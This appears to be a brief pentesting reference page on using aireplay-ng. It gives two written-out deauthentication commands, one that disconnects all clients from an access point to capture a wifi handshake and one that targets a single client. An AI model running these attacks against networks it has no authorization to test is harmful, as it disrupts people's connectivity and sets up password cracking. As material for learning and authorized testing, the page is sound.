## Start a mass disassociation to capture wifi handshake

:::tip
This is helpful to do after you've enumerated the wifi access points using [airodump-ng](/pentesting/Wifi/airodump-ng)
:::

```
sudo aireplay-ng --deauth 100 -a 00:11:22:33:44:55 mon0 
```

## Disassociate a particular client from the access point
From your airodump-ng console, look at connected clients and then target one for disconnection with `-c`:

```
sudo aireplay-ng --deauth 100 -a 00:11:22:33:44:55 -c 12:12:12:12:12:12 mon0 
```
